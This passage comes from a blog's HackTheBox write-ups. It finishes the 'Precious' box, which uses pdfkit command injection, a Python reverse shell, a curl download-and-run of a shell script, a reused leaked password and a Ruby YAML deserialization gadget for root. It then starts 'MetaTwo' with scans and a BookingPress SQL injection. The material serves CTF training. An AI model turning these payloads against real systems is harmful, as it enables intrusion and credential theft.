    <p>the website waits 5 seconds after sending HTTP GET request, it really works!</p>

    <p>I can try to put a reverse shell and see what happens</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  http://10.10.14.49/?name=#{'%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.49",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`'}
</code></pre></div>    </div>

    <p>Bingo! Now I’m the <code class="language-html highlighter-rouge">ruby</code> user</p>
  </li>
</ul>

<p><br /><br /></p>

<h3 id="method-2">Method 2</h3>

<ul>
  <li>
    <p><a href="https://github.com/advisories/GHSA-rhwx-hjx2-x4qr">https://github.com/advisories/GHSA-rhwx-hjx2-x4qr</a></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Package             Affected versions       Patched versions
  pdfkit (RubyGems)       <span class="nt">&lt;</span> <span class="err">0.8.7.2</span>               <span class="err">0.8.7.2</span>
</code></pre></div>    </div>

    <p>exploit: <a href="https://github.com/pdfkit/pdfkit/issues/517">https://github.com/pdfkit/pdfkit/issues/517</a> → it’s all URL encoded, thus breaking bash commands</p>

    <p><code class="language-html highlighter-rouge">http://10.10.14.49:8000/?home=$HOME</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?home=/home/ruby
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">http://10.10.14.49:8000/?whoami=$(whoami)</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?whoami=ruby
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">http://10.10.14.49:8000/?ls=$(ls)</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?ls=app config config.ru Gemfile Gemfile.lock pdf public
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">http://10.10.14.49:8000/?pwd=$(pwd)</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?pwd=/var/www/pdfapp
</code></pre></div>    </div>

    <p>spaces are URL encoded and it doesn’t understand bash command, I try to bypass the problem by not using space character <a href="https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#bypass-forbidden-spaces">https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#bypass-forbidden-spaces</a></p>

    <p><code class="language-html highlighter-rouge">http://10.10.14.49:8000/?passwd=$(cat$IFS/etc/passwd)</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?passwd=
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin wwwdata:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System
  (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemdnetwork:x:101:102:systemd Network
  Management,,,:/run/systemd:/usr/sbin/nologin systemdresolve:x:102:103:systemd
  Resolver,,,:/run/systemd:/usr/sbin/nologin
  messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
  sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
  henry:x:1000:1000:henry,,,:/home/henry:/bin/bash systemdtimesync:x:999:999:systemd Time
  Synchronization:/:/usr/sbin/nologin systemdcoredump:x:998:998:systemd Core
  Dumper:/:/usr/sbin/nologin
  ruby:x:1001:1001::/home/ruby:/bin/bash
  _laurel:x:997:997::/var/log/laurel:/bin/false
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">http://10.10.14.49:8000/?ls=$(ls$IFS-al$IFS$HOME)</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?ls=
  total 848
  drwxr-xr-x 6 ruby ruby 4096 Dec 2 10:56 .
  drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
  lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -&gt; /dev/null
  -rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
  -rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
  dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
  drwxr-xr-x 4 ruby ruby 4096 Dec 2 10:27 .cache
  drwx------ 3 ruby ruby 4096 Dec 2 10:44 .gnupg
  drwxr-xr-x 3 ruby ruby 4096 Dec 2 10:56 .local
  -rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
</code></pre></div>    </div>
  </li>
  <li>
    <p>I can’t open a connection with netcat: <code class="language-html highlighter-rouge">IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT</code></p>

    <p>I would have used it to write to file: <code class="language-html highlighter-rouge">FILE=revshell.sh;IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT|tee$IFS$FILE</code></p>

    <p>at least the ping works so there are no firewall rules: <code class="language-html highlighter-rouge">IP=10.10.14.49;ping$IFS-c1$IFS$IP</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?ping=
  PING 10.10.14.49 (10.10.14.49) 56(84) bytes of data.
  64 bytes from 10.10.14.49: icmp_seq=1 ttl=63 time=36.7 ms
  --- 10.10.14.49 ping statistics ---
  1 packets transmitted, 1 received, 0% packet loss, time 0ms
  rtt min/avg/max/mdev = 36.731/36.731/36.731/0.000 ms
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">cat$IFS/var/www/pdfapp/app/controllers/pdf.rb</code>
    <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="k">class</span> <span class="nc">PdfControllers</span> <span class="o">&lt;</span> <span class="no">Sinatra</span><span class="o">::</span><span class="no">Base</span>

  <span class="n">configure</span> <span class="k">do</span>
      <span class="n">set</span> <span class="ss">:views</span><span class="p">,</span> <span class="s2">"app/views"</span>
      <span class="n">set</span> <span class="ss">:public_dir</span><span class="p">,</span> <span class="s2">"public"</span>
  <span class="k">end</span>

  <span class="n">get</span> <span class="s1">'/'</span> <span class="k">do</span>
      <span class="n">erb</span> <span class="ss">:'index'</span>
  <span class="k">end</span>

  <span class="n">post</span> <span class="s1">'/'</span> <span class="k">do</span>
      <span class="n">url</span> <span class="o">=</span> <span class="no">ERB</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:url</span><span class="p">]).</span><span class="nf">result</span><span class="p">(</span><span class="nb">binding</span><span class="p">)</span>
      <span class="k">if</span> <span class="n">url</span> <span class="o">=~</span> <span class="sr">/^https?:\/\//i</span>
      <span class="n">filename</span> <span class="o">=</span> <span class="no">Array</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="mi">32</span><span class="p">){</span><span class="nb">rand</span><span class="p">(</span><span class="mi">36</span><span class="p">).</span><span class="nf">to_s</span><span class="p">(</span><span class="mi">36</span><span class="p">)}.</span><span class="nf">join</span> <span class="o">+</span> <span class="s1">'.pdf'</span>
      <span class="n">path</span> <span class="o">=</span> <span class="s1">'pdf/'</span> <span class="o">+</span> <span class="n">filename</span>

      <span class="k">begin</span>
          <span class="no">PDFKit</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="nf">to_file</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
          <span class="n">cmd</span> <span class="o">=</span> <span class="sb">`exiftool -overwrite_original -all= -creator="Generated by pdfkit v0.8.6" -xmptoolkit= </span><span class="si">#{</span><span class="n">path</span><span class="si">}</span><span class="sb">`</span>
          <span class="n">send_file</span> <span class="n">path</span><span class="p">,</span> <span class="ss">:disposition</span> <span class="o">=&gt;</span> <span class="s1">'attachment'</span>
      <span class="k">rescue</span>
          <span class="vi">@msg</span> <span class="o">=</span> <span class="s1">'Cannot load remote URL!'</span>
      <span class="k">end</span>

      <span class="k">else</span>
          <span class="vi">@msg</span> <span class="o">=</span> <span class="s1">'You should provide a valid URL!'</span>
      <span class="k">end</span>
      <span class="n">erb</span> <span class="ss">:'index'</span>
  <span class="k">end</span>
  <span class="k">end</span>
</code></pre></div>    </div>

    <p>there are no special checks, it just runs <code class="language-html highlighter-rouge">PDFKit</code></p>
  </li>
  <li>
    <p>I try to download a reverse shell:</p>

    <p><code class="language-html highlighter-rouge">FILE=revshell.sh;IP=10.10.14.49;PORT=8000;curl$IFS-o$IFS$HOME/$FILE$IFS$IP:$PORT/$FILE</code></p>
  </li>
  <li>
    <p>the reverse shell has been successfully downloaded:</p>

    <p><code class="language-html highlighter-rouge">http://10.10.14.49:8000/?ls=$(ls$IFS$HOME)</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Directory listing for /?ls=
  revshell.sh
</code></pre></div>    </div>
  </li>
  <li>
    <p>I run the reverse shell: <code class="language-html highlighter-rouge">FILE=revshell.sh;bash$IFS$HOME/$FILE</code></p>

    <p>Bingo! Now I’m the <code class="language-html highlighter-rouge">ruby</code> user</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-user">Privesc user</h2>

<ul>
  <li>
    <p>I run the script: <code class="language-html highlighter-rouge">linpeas.sh</code></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Unexpected in /opt (usually empty)
  total 16
  drwxr-xr-x  3 root root 4096 Oct 26 08:28 .
  drwxr-xr-x 18 root root 4096 Nov 21 15:11 ..
  drwxr-xr-x  2 root root 4096 Oct 26 08:28 sample
  -rwxr-xr-x  1 root root  848 Sep 25 11:02 update_dependencies.rb

  ╔══════════╣ Searching root files in home dirs (limit 30)
  /home/henry/user.txt
  /home/henry/.bash_history
  /home/ruby/.bundle
  /home/ruby/.bundle/config
  /home/ruby/.bash_history
  /var/www
  /var/www/html
  /var/www/html/index.nginx-debian.html
  /var/www/pdfapp
  /var/www/pdfapp/public
  /var/www/pdfapp/public/images
  /var/www/pdfapp/public/stylesheets
  /var/www/pdfapp/public/stylesheets/style.css
  /var/www/pdfapp/config.ru
  /var/www/pdfapp/config
  /var/www/pdfapp/config/environment.rb
  /var/www/pdfapp/Gemfile
  /var/www/pdfapp/pdf
  /var/www/pdfapp/app
  /var/www/pdfapp/app/views
  /var/www/pdfapp/app/views/index.erb
  /var/www/pdfapp/app/controllers
  /var/www/pdfapp/app/controllers/pdf.rb
  /var/www/pdfapp/Gemfile.lock
</code></pre></div>    </div>
  </li>
  <li>
    <p><code class="language-html highlighter-rouge">cat /home/ruby/.bundle/config</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
</code></pre></div>    </div>

    <p><a href="https://manpages.ubuntu.com/manpages/bionic/man1/bundle-config.1.html">https://manpages.ubuntu.com/manpages/bionic/man1/bundle-config.1.html</a></p>

    <p><a href="https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/package-managers/ruby/bundler/config.html">https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/package-managers/ruby/bundler/config.html</a></p>

    <p>could be anything, maybe the user’s password?</p>

    <p><code class="language-html highlighter-rouge">sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@precious.htb</code> → bingo!</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-root">Privesc root</h2>

<ul>
  <li><code class="language-html highlighter-rouge">sudo -l</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Matching Defaults entries for henry on precious:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  User henry may run the following commands on precious:
      (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
</code></pre></div>    </div>

    <p>so I can run <code class="language-html highlighter-rouge">sudo /opt/update_dependencies.rb</code> with credentials: <code class="language-html highlighter-rouge">Q3c1AqGHtoI0aXAYFH</code></p>
  </li>
  <li><code class="language-html highlighter-rouge">cat /opt/update_dependencies.rb</code>
    <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="c1"># Compare installed dependencies with those specified in "dependencies.yml"</span>
  <span class="nb">require</span> <span class="s2">"yaml"</span>
  <span class="nb">require</span> <span class="s1">'rubygems'</span>

  <span class="c1"># TODO: update versions automatically</span>
  <span class="k">def</span> <span class="nf">update_gems</span><span class="p">()</span>
  <span class="k">end</span>

  <span class="k">def</span> <span class="nf">list_from_file</span>
      <span class="no">YAML</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="s2">"dependencies.yml"</span><span class="p">))</span>
  <span class="k">end</span>

  <span class="k">def</span> <span class="nf">list_local_gems</span>
      <span class="no">Gem</span><span class="o">::</span><span class="no">Specification</span><span class="p">.</span><span class="nf">sort_by</span><span class="p">{</span> <span class="o">|</span><span class="n">g</span><span class="o">|</span> <span class="p">[</span><span class="n">g</span><span class="p">.</span><span class="nf">name</span><span class="p">.</span><span class="nf">downcase</span><span class="p">,</span> <span class="n">g</span><span class="p">.</span><span class="nf">version</span><span class="p">]</span> <span class="p">}.</span><span class="nf">map</span><span class="p">{</span><span class="o">|</span><span class="n">g</span><span class="o">|</span> <span class="p">[</span><span class="n">g</span><span class="p">.</span><span class="nf">name</span><span class="p">,</span> <span class="n">g</span><span class="p">.</span><span class="nf">version</span><span class="p">.</span><span class="nf">to_s</span><span class="p">]}</span>
  <span class="k">end</span>

  <span class="n">gems_file</span> <span class="o">=</span> <span class="n">list_from_file</span>
  <span class="n">gems_local</span> <span class="o">=</span> <span class="n">list_local_gems</span>

  <span class="n">gems_file</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">file_name</span><span class="p">,</span> <span class="n">file_version</span><span class="o">|</span>
      <span class="n">gems_local</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">local_name</span><span class="p">,</span> <span class="n">local_version</span><span class="o">|</span>
          <span class="k">if</span><span class="p">(</span><span class="n">file_name</span> <span class="o">==</span> <span class="n">local_name</span><span class="p">)</span>
              <span class="k">if</span><span class="p">(</span><span class="n">file_version</span> <span class="o">!=</span> <span class="n">local_version</span><span class="p">)</span>
                  <span class="nb">puts</span> <span class="s2">"Installed version differs from the one specified in file: "</span> <span class="o">+</span> <span class="n">local_name</span>
              <span class="k">else</span>
                  <span class="nb">puts</span> <span class="s2">"Installed version is equals to the one specified in file: "</span> <span class="o">+</span> <span class="n">local_name</span>
              <span class="k">end</span>
          <span class="k">end</span>
      <span class="k">end</span>
  <span class="k">end</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">cat /opt/sample/dependencies.yml</code></p>
    <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="na">yaml</span><span class="pi">:</span> <span class="s">0.1.1</span>
  <span class="na">pdfkit</span><span class="pi">:</span> <span class="s">0.8.6</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>I can’t see what root does with <code class="language-html highlighter-rouge">pspy64</code>: <a href="https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/">https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/</a></p>

    <p><code class="language-html highlighter-rouge">/etc/fstab</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  proc /proc proc defaults,nosuid,nodev,noexec,relatime,hidepid=2 0 0
</code></pre></div>    </div>
  </li>
  <li>
    <p><code class="language-html highlighter-rouge">gem list | grep -E "yaml|pdfkit"</code></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  yaml (default: 0.1.0)
  pdfkit (0.8.6)
</code></pre></div>    </div>

    <p>a difference compared to the sample file is highlighted:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  yaml: 0.1.1
  yaml (default: 0.1.0)
</code></pre></div>    </div>

    <p><a href="https://www.ruby-lang.org/en/news/2014/03/29/heap-overflow-in-yaml-uri-escape-parsing-cve-2014-2525/">https://www.ruby-lang.org/en/news/2014/03/29/heap-overflow-in-yaml-uri-escape-parsing-cve-2014-2525/</a></p>

    <p><code class="language-html highlighter-rouge">ruby -rpsych -e 'p Psych.libyaml_version'</code></p>
    <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">]</span>
</code></pre></div>    </div>

    <p>the version looks different but moreover it doesn’t use <a href="https://github.com/ruby/psych">psych</a> in the script</p>
  </li>
  <li>
    <p><a href="https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/">https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/</a></p>

    <p><a href="https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml">https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml</a></p>

    <p><a href="https://www.elttam.com/blog/ruby-deserialization/">https://www.elttam.com/blog/ruby-deserialization/</a>: RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN</p>

    <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="pi">-</span> <span class="kt">!ruby/object:Gem::Installer</span>
      <span class="na">i</span><span class="pi">:</span> <span class="s">x</span>
  <span class="pi">-</span> <span class="kt">!ruby/object:Gem::SpecFetcher</span>
      <span class="na">i</span><span class="pi">:</span> <span class="s">y</span>
  <span class="pi">-</span> <span class="kt">!ruby/object:Gem::Requirement</span>
      <span class="na">requirements</span><span class="pi">:</span>
        <span class="kt">!ruby/object:Gem::Package::TarReader</span>
        <span class="na">io</span><span class="pi">:</span> <span class="nl">&amp;1</span> <span class="kt">!ruby/object:Net::BufferedIO</span>
          <span class="na">io</span><span class="pi">:</span> <span class="nl">&amp;1</span> <span class="kt">!ruby/object:Gem::Package::TarReader::Entry</span>
            <span class="na">read</span><span class="pi">:</span> <span class="m">0</span>
            <span class="na">header</span><span class="pi">:</span> <span class="s2">"</span><span class="s">abc"</span>
          <span class="na">debug_output</span><span class="pi">:</span> <span class="nl">&amp;1</span> <span class="kt">!ruby/object:Net::WriteAdapter</span>
            <span class="na">socket</span><span class="pi">:</span> <span class="nl">&amp;1</span> <span class="kt">!ruby/object:Gem::RequestSet</span>
                <span class="na">sets</span><span class="pi">:</span> <span class="kt">!ruby/object:Net::WriteAdapter</span>
                    <span class="na">socket</span><span class="pi">:</span> <span class="kt">!ruby/module</span> <span class="s1">'</span><span class="s">Kernel'</span>
                    <span class="na">method_id</span><span class="pi">:</span> <span class="s">:system</span>
                <span class="na">git_set</span><span class="pi">:</span> <span class="s">id</span>
            <span class="na">method_id</span><span class="pi">:</span> <span class="s">:resolve</span>
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  uid=0(root) gid=0(root) groups=0(root)
</code></pre></div>    </div>
  </li>
</ul>]]></content><author><name>Federico Fantini</name></author><category term="Writeups" /><category term="HackTheBox" /><category term="CTF" /><category term="RCE" /><category term="Pdfkit-0.8.6" /><category term="CVE-2022-25765" /><category term="Ruby-YAML-Deserialization" /><summary type="html"><![CDATA[INDEX INDEX Enumeration Web exploitation Method 1 Method 2 Privesc user Privesc root]]></summary></entry><entry><title type="html">MetaTwo writeup</title><link href="https://federicofantini.github.io/blog/2022/12/07/Metatwo.html" rel="alternate" type="text/html" title="MetaTwo writeup" /><published>2022-12-07T00:00:00+01:00</published><updated>2022-12-07T00:00:00+01:00</updated><id>https://federicofantini.github.io/blog/2022/12/07/Metatwo</id><content type="html" xml:base="https://federicofantini.github.io/blog/2022/12/07/Metatwo.html"><![CDATA[<h1 id="index">INDEX</h1>
<ul>
  <li><a href="#index">INDEX</a>
    <ul>
      <li><a href="#enumeration">Enumeration</a></li>
      <li><a href="#sql-injection-exploitation">SQL Injection Exploitation</a></li>
      <li><a href="#password-cracking-1">Password Cracking 1</a></li>
      <li><a href="#xxe">XXE</a></li>
      <li><a href="#privesc">Privesc</a></li>
      <li><a href="#password-cracking-2">Password Cracking 2</a></li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<p><img src="/blog/assets/images/machines/Metatwo/Metatwo.png" alt="Metatwo box HTB" /></p>

<h2 id="enumeration">Enumeration</h2>

<ul>
  <li><code class="language-html highlighter-rouge">nmap -p- 10.10.11.186</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:24 CET
  Nmap scan report for metatwo (10.10.11.186)
  Host is up (0.057s latency).
  Not shown: 65532 closed tcp ports (conn-refused)
  PORT   STATE SERVICE
  21/tcp open  ftp
  22/tcp open  ssh
  80/tcp open  http

  Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">nmap -p21 -A -sCV 10.10.11.186</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:26 CET
  Nmap scan report for metatwo (10.10.11.186)
  Host is up (0.056s latency).

  PORT   STATE SERVICE VERSION
  21/tcp open  ftp
  | fingerprint-strings: 
  |   GenericLines: 
  |     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
  |     Invalid command: try being more creative
  |_    Invalid command: try being more creative
  1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
  SF-Port21-TCP:V=7.92%I=7%D=11/28%Time=6384FD46%P=x86_64-pc-linux-gnu%r(Gen
  SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10
  SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
  SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ
  SF:e\r\n");

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 68.95 seconds
</code></pre></div>    </div>

    <p>There don’t seem to be any known vulnerabilities</p>

    <p>I try to connect: <code class="language-html highlighter-rouge">ftp 10.10.11.186</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Connected to 10.10.11.186.
  220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
  Name (10.10.11.186:federico): anonymous
  331 Password required for anonymous
  Password: 
  530 Login incorrect.
  ftp: Login failed
  ftp&gt; 
  ftp&gt; exit
  221 Goodbye.
</code></pre></div>    </div>

    <p>The anonymous login seems not working</p>
  </li>
  <li>
    <p>After finding nothing in the FTP service I look at the website content</p>

    <p><code class="language-html highlighter-rouge">nmap -p80 -A -sCV 10.10.11.186</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:33 CET
  Nmap scan report for metatwo (10.10.11.186)
  Host is up (0.053s latency).

  PORT   STATE SERVICE VERSION
  80/tcp open  http    nginx 1.18.0
  |_http-server-header: nginx/1.18.0
  |_http-title: Did not follow redirect to http://metapress.htb/

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds
</code></pre></div>    </div>

    <p>I need to follow the redirect to <a href="http://metapress.htb/"><code class="language-html highlighter-rouge">http://metapress.htb/</code></a> but first I must add it to <code class="language-html highlighter-rouge">/etc/hosts</code> file</p>

    <p>I notice that the web server is <code class="language-html highlighter-rouge">nginx 1.18.0</code></p>

    <p>Website content:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Welcome on board!
  This site will be launched soon.
  In the meanwhile you can signup to our launch event.

  Be sure to do it from here:
  http://metapress.htb/events/
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">nmap -p80 -A -sCV metapress.htb</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:34 CET
  Nmap scan report for metapress.htb (10.10.11.186)
  Host is up (0.053s latency).
  rDNS record for 10.10.11.186: metatwo

  PORT   STATE SERVICE VERSION
  80/tcp open  http    nginx 1.18.0
  | http-cookie-flags: 
  |   /: 
  |     PHPSESSID: 
  |_      httponly flag not set
  | http-robots.txt: 1 disallowed entry 
  |_/wp-admin/
  |_http-trane-info: Problem with XML parsing of /evox/about
  |_http-server-header: nginx/1.18.0
  |_http-generator: WordPress 5.6.2
  |_http-title: MetaPress <span class="ni">&amp;#8211;</span> Official company site

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">WordPress 5.6.2</code> is the CMS present on the site</p>
  </li>
  <li>
    <p>I scan the wordpress installation with:</p>

    <p><code class="language-html highlighter-rouge">wpscan --url http://metapress.htb/ --random-user-agent --enumerate vp --plugins-detection aggressive --api-token <span class="nt">&lt;i</span> <span class="na">cannot</span> <span class="na">show</span> <span class="na">it</span> <span class="na">man</span><span class="nt">&gt;</span></code></p>
    <pre><code class="language-txt">  [i] Plugin(s) Identified:

  [+] bookingpress-appointment-booking
  | Location: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/
  | Last Updated: 2022-11-21T13:57:00.000Z
  | Readme: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt
  | [!] The version is out of date, the latest version is 1.0.48
  |
  | Found By: Known Locations (Aggressive Detection)
  |  - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/, status: 200
  |
  | [!] 1 vulnerability identified:
  |
  | [!] Title: BookingPress &lt; 1.0.11 - Unauthenticated SQL Injection
  |     Fixed in: 1.0.11
  |     References:
  |      - https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
  |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0739
  |      - https://plugins.trac.wordpress.org/changeset/2684789
  |
  | Version: 1.0.10 (100% confidence)
  | Found By: Readme - Stable Tag (Aggressive Detection)
  |  - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt
  | Confirmed By: Translation File (Aggressive Detection)
  |  - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/languages/bookingpress-appointment-booking-en_US.po, Match: 'sion: BookingPress Appointment Booking v1.0.10'

  [+] WPScan DB API OK
  | Plan: free
  | Requests Done (during the scan): 3
  | Requests Remaining: 72

  [+] Finished: Mon Nov 28 19:41:11 2022
  [+] Requests Done: 5042
  [+] Cached Requests: 9
  [+] Data Sent: 1.561 MB
  [+] Data Received: 21.308 MB
  [+] Memory used: 217.125 MB
  [+] Elapsed time: 00:02:06
</code></pre>
  </li>
  <li>
    <p>Looking at the <a href="https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357">vulnerability</a> I notice that I can run the following command:</p>

    <p><code class="language-html highlighter-rouge">curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services<span class="err">&amp;</span>_wpnonce=8cc8b79544<span class="err">&amp;</span>category_id=33<span class="err">&amp;</span>total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'</code></p>

    <p>But unfortunately, it will return the following error in the output</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  {"variant":"error","title":"Error","msg":"Sorry, Your request can not process due to security reason."}
</code></pre></div>    </div>

    <p>On <a href="http://metapress.htb/events"><code class="language-html highlighter-rouge">http://metapress.htb/events</code></a> I found, in the source code, the <code class="language-html highlighter-rouge">wpnonce</code> value:</p>
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kd">var</span> <span class="nx">postData</span> <span class="o">=</span> <span class="p">{</span> <span class="na">action</span><span class="p">:</span><span class="dl">'</span><span class="s1">bookingpress_before_book_appointment</span><span class="dl">'</span><span class="p">,</span> <span class="na">appointment_data</span><span class="p">:</span> <span class="nx">vm</span><span class="p">.</span><span class="nx">appointment_step_form_data</span><span class="p">,</span><span class="na">_wpnonce</span><span class="p">:</span><span class="dl">'</span><span class="s1">8c57e8f795</span><span class="dl">'</span> <span class="p">};</span>
